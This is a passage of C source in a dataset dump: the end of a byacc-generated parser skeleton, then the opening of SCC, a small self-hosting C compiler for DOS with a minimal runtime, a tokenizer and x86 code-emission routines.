if (((yyn = yygindex[yym]) != 0) && (yyn += yystate) >= 0 &&
yyn <= YYTABLESIZE && yycheck[yyn] == (YYINT) yystate)
yystate = yytable[yyn];
else
yystate = yydgoto[yym];
#if YYDEBUG
if (yydebug)
{
fprintf(stderr, "%s[%d]: after reduction, ", YYDEBUGSTR, yydepth);
#ifdef YYSTYPE_TOSTRING
#if YYBTYACC
if (!yytrial)
#endif /* YYBTYACC */
fprintf(stderr, "result is <%s>, ", YYSTYPE_TOSTRING(yystos[yystate], yyval));
#endif
fprintf(stderr, "shifting from state %d to state %d\n", *yystack.s_mark, yystate);
}
#endif
if (yystack.s_mark >= yystack.s_last && yygrowstack(&yystack) == YYENOMEM) goto yyoverflow;
*++yystack.s_mark = (YYINT) yystate;
*++yystack.l_mark = yyval;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
*++yystack.p_mark = yyloc;
#endif
goto yyloop;
#if YYBTYACC
/* Reduction declares that this path is valid. Set yypath and do a full parse */
yyvalid:
if (yypath) YYABORT;
while (yyps->save)
{
YYParseState *save = yyps->save;
yyps->save = save->save;
save->save = yypath;
yypath = save;
}
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%s[%d]: state %d, CONFLICT trial successful, backtracking to state %d, %d tokens\n",
YYDEBUGSTR, yydepth, yystate, yypath->state, (int)(yylvp - yylvals - yypath->lexeme));
#endif
if (yyerrctx)
{
yyFreeState(yyerrctx);
yyerrctx = NULL;
}
yylvp = yylvals + yypath->lexeme;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp = yylpsns + yypath->lexeme;
#endif
yylexp = yylexemes + yypath->lexeme;
yychar = YYEMPTY;
yystack.s_mark = yystack.s_base + (yypath->yystack.s_mark - yypath->yystack.s_base);
memcpy (yystack.s_base, yypath->yystack.s_base, (size_t) (yystack.s_mark - yystack.s_base + 1) * sizeof(YYINT));
yystack.l_mark = yystack.l_base + (yypath->yystack.l_mark - yypath->yystack.l_base);
memcpy (yystack.l_base, yypath->yystack.l_base, (size_t) (yystack.l_mark - yystack.l_base + 1) * sizeof(YYSTYPE));
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yystack.p_mark = yystack.p_base + (yypath->yystack.p_mark - yypath->yystack.p_base);
memcpy (yystack.p_base, yypath->yystack.p_base, (size_t) (yystack.p_mark - yystack.p_base + 1) * sizeof(YYLTYPE));
#endif
yystate = yypath->state;
goto yyloop;
#endif /* YYBTYACC */
yyoverflow:
YYERROR_CALL("yacc stack overflow");
#if YYBTYACC
goto yyabort_nomem;
yyenomem:
YYERROR_CALL("memory exhausted");
yyabort_nomem:
#endif /* YYBTYACC */
yyresult = 2;
goto yyreturn;
yyabort:
yyresult = 1;
goto yyreturn;
yyaccept:
#if YYBTYACC
if (yyps->save) goto yyvalid;
#endif /* YYBTYACC */
yyresult = 0;
yyreturn:
#if defined(YYDESTRUCT_CALL)
if (yychar != YYEOF && yychar != YYEMPTY)
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYDESTRUCT_CALL("cleanup: discarding token", yychar, &yylval, &yylloc);
#else
YYDESTRUCT_CALL("cleanup: discarding token", yychar, &yylval);
#endif /* defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) */
{
YYSTYPE *pv;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYLTYPE *pp;
for (pv = yystack.l_base, pp = yystack.p_base; pv <= yystack.l_mark; ++pv, ++pp)
YYDESTRUCT_CALL("cleanup: discarding state",
yystos[*(yystack.s_base + (pv - yystack.l_base))], pv, pp);
#else
for (pv = yystack.l_base; pv <= yystack.l_mark; ++pv)
YYDESTRUCT_CALL("cleanup: discarding state",
yystos[*(yystack.s_base + (pv - yystack.l_base))], pv);
#endif /* defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) */
}
#endif /* defined(YYDESTRUCT_CALL) */
#if YYBTYACC
if (yyerrctx)
{
yyFreeState(yyerrctx);
yyerrctx = NULL;
}
while (yyps)
{
YYParseState *save = yyps;
yyps = save->save;
save->save = NULL;
yyFreeState(save);
}
while (yypath)
{
YYParseState *save = yypath;
yypath = save->save;
save->save = NULL;
yyFreeState(save);
}
#endif /* YYBTYACC */
yyfreestack(&yystack);
return (yyresult);
}
|
the_stack_data/73576198.c
|
// SCC - Small C Compiler for DOS
// Copyright 2020 Michael Rasmussen. See LICENSE.md for details.
#ifndef __SCC__
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/stat.h>
#ifdef _MSC_VER
#include <io.h>
#define open _open
#define close _close
#define read _read
#define write _write
#else
#ifndef O_BINARY
#define O_BINARY 0
#endif
#include <unistd.h>
#endif
#else
// Only used when self-compiling
// Small "standard library"
enum {
O_RDONLY = 0,
O_WRONLY = 1,
O_CREAT = 1,
O_TRUNC = 1,
O_BINARY = 0,
};
int main(int argc, char** argv);
int DosCall(int* ax, int bx, int cx, int dx)
{
_emit 0x8B _emit 0x5E _emit 0x04 // MOV BX,[BP+0x4]
_emit 0x8B _emit 0x07 // MOV AX,[BX]
_emit 0x8B _emit 0x5E _emit 0x06 // MOV BX,[BP+0x6]
_emit 0x8B _emit 0x4E _emit 0x08 // MOV CX,[BP+0x8]
_emit 0x8B _emit 0x56 _emit 0x0A // MOV DX,[BP+0xA]
_emit 0xCD _emit 0x21 // INT 0x21
_emit 0x8B _emit 0x5E _emit 0x04 // MOV BX,[BP+0x4]
_emit 0x89 _emit 0x07 // MOV [BX],AX
_emit 0xB8 _emit 0x00 _emit 0x00 // MOV AX,0x0
_emit 0x19 _emit 0xC0 // SBB AX,AX
}
void memset(void* ptr, int val, int size)
{
_emit 0x8B _emit 0x7E _emit 0x04 // MOV DI,[BP+0x4]
_emit 0x8B _emit 0x46 _emit 0x06 // MOV AX,[BP+0x6]
_emit 0x8B _emit 0x4E _emit 0x08 // MOV CX,[BP+0x8]
_emit 0xF3 _emit 0xAA // REP STOSB
}
int memcmp(void* l, void* r, int size)
{
_emit 0x31 _emit 0xC0 // XOR AX, AX
_emit 0x8B _emit 0x7E _emit 0x04 // MOV DI,[BP+0x4]
_emit 0x8B _emit 0x76 _emit 0x06 // MOV SI,[BP+0x6]
_emit 0x8B _emit 0x4E _emit 0x08 // MOV CX,[BP+0x8]
_emit 0xF3 _emit 0xA6 // REPE CMPSB
_emit 0x74 _emit 0x01 // JE $+3
_emit 0x40 // INC AX // XXX: TODO sometimes output -1
}
void exit(int retval)
{
retval = (unsigned char)retval | 0x4c00;
DosCall(&retval, 0, 0, 0);
}
void raw_putchar(int ch)
{
int ax = 0x200;
DosCall(&ax, 0, 0, ch);
}
void putchar(int ch)
{
if (ch == '\n') raw_putchar('\r');
raw_putchar(ch);
}
int open(const char* filename, int flags, ...)
{
int ax;
if (flags)
ax = 0x3c00; // create or truncate file
else
ax = 0x3d00; // open existing file
if (DosCall(&ax, 0, 0, filename))
return -1;
return ax;
}
void close(int fd)
{
int ax = 0x3e00;
DosCall(&ax, fd, 0, 0);
}
int read(int fd, char* buf, int count)
{
int ax = 0x3f00;
if (DosCall(&ax, fd, count, buf))
return 0;
return ax;
}
int write(int fd, const char* buf, int count)
{
int ax = 0x4000;
if (DosCall(&ax, fd, count, buf))
return 0;
return ax;
}
enum { ARGS = 0x5C }; // Overwrite unopened FCBs
int ParseArgs()
{
char** Args = ARGS;
char* CmdLine = (char*)0x80;
int Len = *CmdLine++ & 0x7f;
CmdLine[Len] = 0;
Args[0] = "scc";
int NumArgs = 1;
for (;;) {
while (*CmdLine && *CmdLine <= ' ')
++CmdLine;
if (!*CmdLine)
break;
Args[NumArgs++] = CmdLine;
while (*CmdLine && *CmdLine > ' ')
++CmdLine;
if (!*CmdLine)
break;
*CmdLine++ = 0;
}
Args[NumArgs] = 0;
return NumArgs;
}
void _start(void)
{
// Clear BSS
memset(&_SBSS, 0, &_EBSS-&_SBSS);
exit(main(ParseArgs(), ARGS));
}
#endif
// Misc. constants
enum {
CODESTART = 0x100,
INBUF_MAX = 512,
SCOPE_MAX = 16,
VARDECL_MAX = 380,
ID_MAX = 580,
ID_HASHMAX = 1024, // Must be power of 2 and (some what) greater than ID_MAX
IDBUFFER_MAX = 5000,
LABEL_MAX = 320,
NAMED_LABEL_MAX = 8,
OUTPUT_MAX = 0x6000, // Always try to reduce this if something fails unexpectedly... ~600bytes of stack is needed.
STRUCT_MAX = 8,
STRUCT_MEMBER_MAX = 32,
ARRAY_MAX = 32,
GLOBAL_RESERVE = 4, // How many globals symbols to allow to be defined in functions (where static variables count as globals)
ARGS_MAX = 8,
};
// Type flags and values
enum {
VT_VOID,
VT_BOOL, // CurrentValue holds condition code for "true"
VT_CHAR,
VT_INT,
VT_STRUCT, // CurrentTypeExtra holds index into StructDecls
VT_ARRAY, // CurrentTypeExtra holds index into ArrayDecls
VT_BASEMASK = 7,
VT_UNSIGNED = 1<<3,
VT_LVAL = 1<<4,
VT_FUN = 1<<5,
VT_FUNPTR = 3<<5, // HACK
VT_PTR1 = 1<<7,
VT_PTRMASK = 3<<7, // 3 levels of indirection should be enough..
VT_LOCLIT = 1<<9, // CurrentVal holds a literal value (or label)
VT_LOCOFF = 2<<9, // CurrentVal holds BP offset
VT_LOCGLOB = 3<<9, // CurrentVal holds the VarDecl index of a global
VT_LOCMASK = 3<<9,
VT_STATIC = 1<<11,
VT_TYPEDEF = 1<<12,
};
// Token types
enum {
TOK_EOF, // Must be zero
TOK_NUM,
TOK_STRLIT,
// Single character operators have their ASCII value as token type
TOK_EQEQ = 128,
TOK_NOTEQ,
TOK_LTEQ,
TOK_GTEQ,
TOK_PLUSPLUS,
TOK_MINUSMINUS,
TOK_ANDAND,
TOK_OROR,
TOK_LSH,
TOK_RSH,
TOK_PLUSEQ,
TOK_MINUSEQ,
TOK_STAREQ,
TOK_SLASHEQ,
TOK_MODEQ,
TOK_LSHEQ,
TOK_RSHEQ,
TOK_ANDEQ,
TOK_XOREQ,
TOK_OREQ,
TOK_ELLIPSIS,
TOK_ARROW,
TOK_KEYWORD,
// NOTE: Must match order of registration in AddBuiltins
TOK_AUTO = TOK_KEYWORD,
TOK_BREAK,
TOK_CASE,
TOK_CHAR,
TOK_CONST,
TOK_CONTINUE,
TOK_DEFAULT,
TOK_DO,
TOK_DOUBLE,
TOK_ELSE,
TOK_ENUM,
TOK_EXTERN,
TOK_FLOAT,
TOK_FOR,
TOK_GOTO,
TOK_IF,
TOK_INT,
TOK_LONG,
TOK_REGISTER,
TOK_RETURN,
TOK_SHORT,
TOK_SIGNED,
TOK_SIZEOF,
TOK_STATIC,
TOK_STRUCT,
TOK_SWITCH,
TOK_TYPEDEF,
TOK_UNION,
TOK_UNSIGNED,
TOK_VOID,
TOK_VOLATILE,
TOK_WHILE,
TOK_VA_LIST,
TOK_VA_START,
TOK_VA_END,
TOK_VA_ARG,
TOK__EMIT,
// Start of user-defined literals (well and some compiler defined ones)
TOK_ID,
TOK__START = TOK_ID,
TOK__SBSS,
TOK__EBSS,
};
// Operator precedence
enum {
PREC_ASSIGN = 14,
PREC_COMMA,
PREC_STOP = 100,
};
struct Label {
int Addr;
int Ref;
};
struct NamedLabel {
int Id;
int LabelId;
};
struct StructMember {
int Id;
int Type;
int TypeExtra;
struct StructMember* Next;
};
enum {
IS_UNION_FLAG = 0x8000,
};
struct StructDecl {
int Id; // OR'ed with IS_UNION_FLAG if union, id is ID_MAX for unnamed structs/unions
struct StructMember* Members;
};
struct ArrayDecl {
int Bound;
int Type;
int TypeExtra;
};
struct VarDecl {
int Id;
int Type;
int TypeExtra;
int Offset;
int Ref; // Fixup address list for globals
struct VarDecl* Prev;
};
struct Argument {
int Id;
int Type;
int TypeExtra;
};
int CodeAddress = CODESTART;
int BssSize;
int MapFile;
int InFile;
char InBuf[INBUF_MAX+1];
char* InBufPtr;
char* InBufEnd;
char CurChar;
int Line = 1;
int TokenType;
int TokenNumVal;
unsigned char* TokenStrLit;
char OperatorPrecedence;
char IdBuffer[IDBUFFER_MAX];
char* IdBufPtr;
const char* IdText[ID_MAX];
int IdHashTab[ID_HASHMAX];
int IdCount;
struct StructMember StructMembers[STRUCT_MEMBER_MAX];
int StructMemCount;
struct StructDecl StructDecls[STRUCT_MAX];
int StructCount;
struct ArrayDecl ArrayDecls[ARRAY_MAX];
int ArrayCount;
struct VarDecl VarDecls[VARDECL_MAX];
struct VarDecl* VarLookup[ID_MAX];
int IgnoreRedef;
int Scopes[SCOPE_MAX]; // -> Next free VarDecl index (conversely one more than index of last defined variable/id)
int ScopeCount = 1; // First scope is global
struct Label Labels[LABEL_MAX];
int LocalLabelCounter;
struct NamedLabel NamedLabels[NAMED_LABEL_MAX];
int NamedLabelCount;
struct Argument Args[ARGS_MAX];
int ArgsCount;
int LocalOffset;
// Break/Continue stack level (== LocalOffset of block)
int BStackLevel;
int CStackLevel;
int ReturnLabel;
int BreakLabel;
int ContinueLabel;
int CurrentType;
int CurrentVal;
int CurrentTypeExtra;
int IsUnsignedOp;
int BaseType;
int BaseTypeExtra;
enum { PENDING_PUSHAX = 1 };
int Pending; // Bit0: PENDING_PUSHAX, Rest: remaing bits: SP adjustment
int RegUse;
int LastZFInst;
int LastFixup;
int IsDeadCode;
int NextSwitchCase = -1; // Where to go if we haven't matched
int NextSwitchStmt; // Where to go if we've matched (-1 if already emitted)
int SwitchDefault; // Optional switch default label
unsigned char Output[OUTPUT_MAX]; // Place this last to allow partial stack overflows!
///////////////////////////////////////////////////////////////////////
// Helper functions
///////////////////////////////////////////////////////////////////////
char* CopyStr(char* dst, const char* src)
{
while ((*dst = *src++))
++dst;
return dst;
}
const char HexD[] = "0123456789ABCDEF";
char* CvtHex(char* dest, int n)
{
int i = 4;
while (i--) {
*dest++ = HexD[(n>>i*4)&0xf];
}
return dest;
}
char* VSPrintf(char* dest, const char* format, va_list vl)
{
char TempBuf[9];
char ch;
while ((ch = *format++)) {
if (ch != '%') {
*dest++ = ch;
continue;
}
ch = *format++;
if (ch == 's') {
dest = CopyStr(dest, va_arg(vl, char*));
} else if(ch == 'c') {
*dest++ = va_arg(vl, int);
} else if ((ch == '+' && *format == 'd') || ch == 'd') {
char* buf;
int n;
int s;
int always;
if (ch == '+') {
++format;
always = 1;
} else {
always = 0;
}
n = va_arg(vl, int);
s = 0;
if (n < 0) {
s = 1;
n = -n;
}
buf = TempBuf + sizeof(TempBuf);
*--buf = 0;
do {
*--buf = '0' + n % 10;
n/=10;
} while (n);
if (s) *--buf = '-';
else if (always) *--buf = '+';
dest = CopyStr(dest, buf);
} else if (ch == 'X') {
dest = CvtHex(dest, va_arg(vl, int));
}
}
*dest = 0;
return dest;
}
void Printf(const char* format, ...)
{
char LineBuf[80];
va_list vl;
va_start(vl, format);
VSPrintf(LineBuf, format, vl);
char* s = LineBuf;
while (*s)
putchar(*s++);
va_end(vl);
}
#ifdef __SCC__
int* GetBP(void)
{
_emit 0x8B _emit 0x46 _emit 0x00 // MOV AX, [BP]
}
#endif
void Fatal(const char* Msg)
{
#ifdef __SCC__
int* BP = GetBP();
Printf("\nBP Return address\n");
int i = 0;
while (*BP && ++i < 10) {
Printf("%X %X\n", BP[0], BP[1]);
BP = (int*)BP[0];
}
#endif
Printf("In line %d: %s\n", Line, Msg);
exit(1);
}
void Fail(void)
{
Fatal("Check failed");
}
#ifndef __SCC__
#define Fail() do { Printf("In %s:%d: ", __FILE__, __LINE__); Fail(); } while (0)
#endif
///////////////////////////////////////////////////////////////////////
// Tokenizer
///////////////////////////////////////////////////////////////////////
void NextChar(void)
{
if ((CurChar = *InBufPtr++))
return;
InBufPtr = InBuf;
InBufEnd = InBuf + read(InFile, InBuf, INBUF_MAX);
*InBufEnd = 0;
if (InBufPtr == InBufEnd) {
CurChar = 0;
return;
}
CurChar = *InBufPtr++;
}
int SkipWhitespace(void)
{
for (;;) {
if (CurChar <= ' ') {
while ((CurChar = *InBufPtr++) <= ' ') {
switch (CurChar) {
case ' ': continue;
case '\t': continue;
case '\n':
++Line;
continue;
case 0:
--InBufPtr;
NextChar();
if (!CurChar)
return 0;
--InBufPtr; // Re-read character instead of duplicating logic
continue;
}
}
}
if (CurChar > '/')
return 0;
switch (CurChar) {
case '/':
NextChar();
switch (CurChar) {
case '/':
SkipLine:
while ((CurChar = *InBufPtr++) != '\n') {
if (CurChar)
continue;
--InBufPtr;
NextChar();
if (CurChar == '\n')
break;
if (!CurChar)
return 0;
}
NextChar();
++Line;
continue;
case '*':
{
NextChar();
int star = 0;
while (!star || CurChar != '/') {
star = CurChar == '*';
if (CurChar == '\n') ++Line;
NextChar();
if (!CurChar) Fail(); // Unterminated comment
}
NextChar();
}
continue;
}
return 1;
case '#':
goto SkipLine;
}
return 0;
}
}
unsigned GetNum(unsigned Init, unsigned Base, int MaxLen)
{
unsigned d;
while (MaxLen--) {
if ((d = CurChar - '0') > 9)
d = (CurChar & 0xdf) - ('A'-10);
if (d >= Base)
break;
Init = Init*Base + d;
NextChar();
}
return Init;
}
char Unescape(void)
{
int ch = CurChar;
NextChar();
switch (ch) {
case 'n': return '\n';
case 'r': return '\r';
case 't': return '\t';
case '\'': return '\'';
case '"': return '"';
case '\\': return '\\';
case 'x': return GetNum(0, 16, 2);
}
if ((unsigned)(ch -= '0') > 7) Fail();
return GetNum(ch, 8, 2);
}
void GetStringLiteral(void)
{
TokenStrLit = &Output[CodeAddress + 64 - CODESTART]; // Just leave a little head room for code to be outputted before consuming the string literal
TokenNumVal = 0;
for (;;) {
while (CurChar != '"') {
if (!CurChar) {
Fatal("Unterminated string literal");
}
char ch = CurChar;
NextChar();
if (ch == '\\') {
ch = Unescape();
}
TokenStrLit[TokenNumVal++] = ch;
}
NextChar();
SkipWhitespace();
if (CurChar != '"')
break;
NextChar();
}
TokenStrLit[TokenNumVal++] = 0;
if (TokenStrLit+TokenNumVal-Output > OUTPUT_MAX) Fail();
}
const char IsIdChar[] = "\x00\x00\x00\x00\x00\x00\xFF\x03\xFE\xFF\xFF\x87\xFE\xFF\xFF\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
void GetToken(void)
{
if (CurChar <= '/') {
if (SkipWhitespace()) {
TokenType = '/';
goto Slash;
}
}
TokenType = CurChar;
if (!(CurChar = *InBufPtr++)) {
--InBufPtr;
NextChar();
}
OperatorPrecedence = PREC_STOP;
if (TokenType < 'A') {
if ((unsigned)(TokenType - '0') < 10) {
unsigned Base = 10;
if (!(TokenNumVal = TokenType - '0')) {
Base = 8;
if ((CurChar&0xDF) == 'X') {
Base = 16;
NextChar();
}
}
TokenNumVal = GetNum(TokenNumVal, Base, 8);
TokenType = TOK_NUM;
return;
}
} else if ((TokenType & 0xDF) <= 'Z') {
Identifier: ;
char* pc = IdBufPtr;
unsigned Hash = (*pc++ = TokenType);
while ((IsIdChar[(unsigned char)CurChar>>3]>>(CurChar&7)) & 1) {
Hash += (Hash<<4)+(*pc++ = CurChar);
if ((CurChar = *InBufPtr++))
continue;
--InBufPtr;
NextChar();
}
*pc++ = 0;
for (;;) {
Hash &= ID_HASHMAX-1;
if ((TokenType = IdHashTab[Hash]) == -1) {
if (IdCount == ID_MAX) Fail();
TokenType = IdHashTab[Hash] = IdCount++;
IdText[TokenType] = IdBufPtr;
IdBufPtr = pc;
if (IdBufPtr-IdBuffer > IDBUFFER_MAX) Fail();
break;
}
if (memcmp(IdBufPtr, IdText[TokenType], pc - IdBufPtr)) {
++Hash;
continue;
}
break;
}
TokenType += TOK_KEYWORD;
return;
}
switch (TokenType) {
case ';':
case '(':
case ')':
case '{':
case '}':
case '[':
case ']':
case ':':
case '~':
case 0:
return;
case '=':
if (CurChar == '=') {
TokenType = TOK_EQEQ;
OperatorPrecedence = 7;
break;
}
OperatorPrecedence = PREC_ASSIGN;
return;
case ',':
OperatorPrecedence = PREC_COMMA;
return;
case '?':
OperatorPrecedence = 13;
return;
case '!':
if (CurChar != '=')
return;
TokenType = TOK_NOTEQ;
OperatorPrecedence = 7;
break;
case '<':
OperatorPrecedence = 6;
if (CurChar == '=') {
TokenType = TOK_LTEQ;
break;
}
if (CurChar != '<')
return;
NextChar();
if (CurChar == '=') {
TokenType = TOK_LSHEQ;
OperatorPrecedence = PREC_ASSIGN;
break;
}
TokenType = TOK_LSH;
OperatorPrecedence = 5;
return;
case '>':
OperatorPrecedence = 6;
if (CurChar == '=') {
TokenType = TOK_GTEQ;
break;
}
if (CurChar != '>')
return;
NextChar();
if (CurChar == '=') {
TokenType = TOK_RSHEQ;
OperatorPrecedence = PREC_ASSIGN;
break;
}
TokenType = TOK_RSH;
OperatorPrecedence = 5;
return;
case '&':
if (CurChar == '&') {
TokenType = TOK_ANDAND;
OperatorPrecedence = 11;
break;
} else if (CurChar == '=') {
TokenType = TOK_ANDEQ;
OperatorPrecedence = PREC_ASSIGN;
break;
}
OperatorPrecedence = 8;
return;
case '|':
if (CurChar == '|') {
TokenType = TOK_OROR;
OperatorPrecedence = 12;
break;
} else if (CurChar == '=') {
TokenType = TOK_OREQ;
OperatorPrecedence = PREC_ASSIGN;
break;
}
OperatorPrecedence = 10;
return;
case '^':
if (CurChar == '=') {
TokenType = TOK_XOREQ;
OperatorPrecedence = PREC_ASSIGN;
break;
}
OperatorPrecedence = 9;
return;
case '+':
if (CurChar == '+') {
TokenType = TOK_PLUSPLUS;
break;
} else if (CurChar == '=') {
TokenType = TOK_PLUSEQ;
OperatorPrecedence = PREC_ASSIGN;
break;
}
OperatorPrecedence = 4;
return;
case '-':
if (CurChar == '-') {
TokenType = TOK_MINUSMINUS;
break;
} else if (CurChar == '>') {
TokenType = TOK_ARROW;
break;
} else if (CurChar == '=') {
TokenType = TOK_MINUSEQ;
OperatorPrecedence = PREC_ASSIGN;
break;
}
OperatorPrecedence = 4;
return;
case '*':
if (CurChar == '=') {
TokenType = TOK_STAREQ;
OperatorPrecedence = PREC_ASSIGN;
break;
}
OperatorPrecedence = 3;
return;
case '/':
Slash:
if (CurChar == '=') {
TokenType = TOK_SLASHEQ;
OperatorPrecedence = PREC_ASSIGN;
break;
}
OperatorPrecedence = 3;
return;
case '%':
if (CurChar == '=') {
TokenType = TOK_MODEQ;
OperatorPrecedence = PREC_ASSIGN;
break;
}
OperatorPrecedence = 3;
return;
case '_':
goto Identifier;
case '.':
if (CurChar != '.')
return;
NextChar();
if (CurChar != '.') {
goto Invalid;
}
TokenType = TOK_ELLIPSIS;
break;
case '\'':
TokenNumVal = CurChar;
NextChar();
if (TokenNumVal == '\\') {
TokenNumVal = Unescape();
}
if (CurChar != '\'') {
Fatal("Invalid character literal");
}
TokenType = TOK_NUM;
break;
case '"':
GetStringLiteral();
TokenType = TOK_STRLIT;
return;
default:
Invalid:
Fatal("Unknown token encountered");
}
if (!(CurChar = *InBufPtr++)) {
--InBufPtr;
NextChar();
}
}
void PrintTokenType(int T)
{
if (T >= TOK_KEYWORD) Printf("%s ", IdText[T-TOK_KEYWORD]);
else if (T > ' ' && T < 128) Printf("%c ", T);
else Printf("%d ", T);
}
///////////////////////////////////////////////////////////////////////
// Code output
///////////////////////////////////////////////////////////////////////
enum {
JO , // 0x0
JNO, // 0x1
JC , // 0x2
JNC, // 0x3
JZ , // 0x4
JNZ, // 0x5
JNA, // 0x6
JA , // 0x7
JS , // 0x8
JNS, // 0x9
JPE, // 0xa
JPO, // 0xb
JL , // 0xc
JNL, // 0xd
JNG, // 0xe
JG , // 0xf
};
enum {
R_AX, R_CX, R_DX, R_BX, R_SP, R_BP, R_SI, R_DI,
};
enum {
MODRM_DISP16 = 0x06, // [disp16]
MODRM_SI = 0x04, // [SI]
//MODRM_BX = 0x07, // [BX]
MODRM_BP_DISP8 = 0x46, // [BP+disp8]
MODRM_BP_DISP16 = 0x86, // [BP+disp16]
MODRM_REG = 0xC0,
};
enum {
I_ADD = 0x00,
I_OR = 0x08,
I_AND = 0x20,
I_SUB = 0x28,
I_XOR = 0x30,
I_CMP = 0x38,
I_INC = 0x40,
I_DEC = 0x48,
I_PUSH = 0x50,
I_POP = 0x58,
I_ALU_RM16_IMM16 = 0x81,
I_ALU_RM16_IMM8 = 0x83,
I_MOV_R_RM = 0x88,
I_LEA = 0x8D,
I_XCHG_AX = 0x90,
I_MOV_R_IMM16 = 0xB8,
I_STOSB = 0xAA,
I_LODSB = 0xAC,
I_RET = 0xC3,
I_JMP_REL16 = 0xE9,
I_JMP_REL8 = 0xEB,
};
enum {
SHROT_SHL = 4,
SHROT_SHR = 5,
SHROT_SAR = 7,
};
int EmitChecks(void);
void Output1Byte(int b0)
{
if (IsDeadCode|Pending) {
if (EmitChecks()) return;
}
Output[CodeAddress++ - CODESTART] = b0;
}
void Output2Bytes(int b0, int b1)
{
if (IsDeadCode|Pending) {
if (EmitChecks()) return;
}
unsigned char* o = &Output[(CodeAddress += 2) - (CODESTART+2)];
o[0] = b0;
o[1] = b1;
}
void OutputWord(int w)
{
if (IsDeadCode|Pending) {
if (EmitChecks()) return;
}
unsigned char* o = &Output[(CodeAddress += 2) - (CODESTART+2)];
o[0] = w;
o[1] = w>>8;
}
void Output3Bytes(int b0, int b1, int b2)
{
if (IsDeadCode|Pending) {
if (EmitChecks()) return;
}
unsigned char* o = &Output[(CodeAddress += 3) - (CODESTART+3)];
o[0] = b0;
o[1] = b1;
o[2] = b2;
}
int MakeLabel(void)
{
if (LocalLabelCounter == LABEL_MAX) Fail();
const int l = LocalLabelCounter++;
Labels[l].Addr = 0;
Labels[l].Ref = 0;
return l;
}
struct NamedLabel* GetNamedLabel(int Id)
{
struct NamedLabel* NL = NamedLabels;
int l = NamedLabelCount;
for (; l--; ++NL) {
if (NL->Id == Id) {
return NL;
}
}
if (NamedLabelCount == NAMED_LABEL_MAX) Fail();
++NamedLabelCount;
NL->Id = Id;
NL->LabelId = MakeLabel();
return NL;
}
void DoFixups(int r, int relative)
{
int f;
unsigned char* c;
while (r) {
int o = 0;
f = CodeAddress;
if (relative) {
o = r + 2;
f -= o;
}
c = &Output[r - CODESTART];
r = c[0]|c[1]<<8;
if (!c[-1]) {
// Fused Jcc/JMP
if (f <= 0x7f-3) {
// Invert condition and NOP out jump
if ((c[-3]&0xf0) != 0x70 || c[-2] != 3) Fail();
c[-3] ^= 1;
c[-2] = f+3;
// If the next instruction is a known jump / return, copy it in
c[1] = I_XCHG_AX;
switch (c[2]) {
case I_JMP_REL8:
if (((char *)c)[3] > 0x7f-3)
break;
c[-1] = I_JMP_REL8;
c[0] = c[3]+3;
continue;
case I_POP|R_BP:
c[-1] = I_POP|R_BP;
c[0] = I_RET;
continue;
}
// Faster than two NOPs
c[-1] = I_MOV_R_RM;
c[0] = MODRM_REG;
continue;
}
c[-1] = I_JMP_REL16;
} else {
// Is this a uselss jump we can avoid? (Too cumbersome if we already resolved fixups at this address)
if (CodeAddress == o && LastFixup != CodeAddress) {
CodeAddress -= 3;
continue;
}
}
if (c[-1] == I_JMP_REL16) {
++f;
if (f == (char)f) {
// Convert to short jump + nop (the nop is just to not throw off disassemblers more than necessary)
c[-1] = I_JMP_REL8;
f = (unsigned char)f|0x9000;
} else {
--f;
}
}
c[0] = f;
c[1] = f>>8;
}
LastFixup = CodeAddress;
}
void AddFixup(int* f)
{
if (IsDeadCode)
return;
OutputWord(*f);
*f = CodeAddress - 2;
}
void FlushSpAdj(void);
void EmitLocalLabel(int l)
{
if (l >= LocalLabelCounter || Labels[l].Addr) Fail();
FlushSpAdj();
IsDeadCode = 0;
DoFixups(Labels[l].Ref, 1);
Labels[l].Addr = CodeAddress;
Labels[l].Ref = 0;
}
const char StaticName[] = "@static";
void EmitGlobalLabel(struct VarDecl* vd)
{
if (vd->Offset) Fail();
vd->Offset = CodeAddress;
IsDeadCode = 0;
DoFixups(vd->Ref, vd->Type & VT_FUN);
char* P = CvtHex(IdBufPtr, CodeAddress);
*P++ = ' ';
P = CopyStr(P, vd->Id == -2 ? StaticName : IdText[vd->Id]);
*P++ = '\r';
*P++ = '\n';
write(MapFile, IdBufPtr, (int)(P - IdBufPtr));
}
void EmitGlobalRef(struct VarDecl* vd)
{
int Addr = vd->Offset;
if (Addr)
OutputWord(Addr);
else
AddFixup(&vd->Ref);
}
void EmitGlobalRefRel(struct VarDecl* vd)
{
int Addr = vd->Offset;
if (Addr)
OutputWord(Addr - CodeAddress - 2);
else
AddFixup(&vd->Ref);
}
void EmitModrm(int Inst, int R, int Loc, int Val)
{
R <<= 3;
switch (Loc) {
case VT_LOCOFF:
Output3Bytes(Inst, MODRM_BP_DISP8|R, Val);
if (Val == (char)Val)
return;
if (!IsDeadCode) {
Output[CodeAddress-(CODESTART+2)] += MODRM_BP_DISP16-MODRM_BP_DISP8;
Output1Byte(Val>>8);
}
return;
case VT_LOCGLOB:
Output2Bytes(Inst, MODRM_DISP16|R);
EmitGlobalRef(&VarDecls[Val]);
return;
}
if (Loc) Fail();
Output2Bytes(Inst, MODRM_SI|R);
}
void EmitLoadAx(int Size, int Loc, int Val)
{
switch (Loc) {
case 0:
Output1Byte(I_LODSB-1+Size);
break;
case VT_LOCGLOB:
Output1Byte(0xA0-1+Size);
EmitGlobalRef(&VarDecls[Val]);
break;
default:
EmitModrm(0x8A-1+Size, R_AX, Loc, Val);
}
}
void EmitStoreAx(int Size, int Loc, int Val)
{
switch (Loc) {
case 0:
Output1Byte(I_STOSB-1+Size);
return;
case VT_LOCGLOB:
Output1Byte(0xA2-1+Size);
EmitGlobalRef(&VarDecls[Val]);
return;
}
EmitModrm(I_MOV_R_RM-1+Size, R_AX, Loc, Val);
}
void EmitStoreConst(int Size, int Loc, int Val)
{
EmitModrm(0xc6-1+Size, 0, Loc, Val);
Output1Byte(CurrentVal);
if (Size == 2)
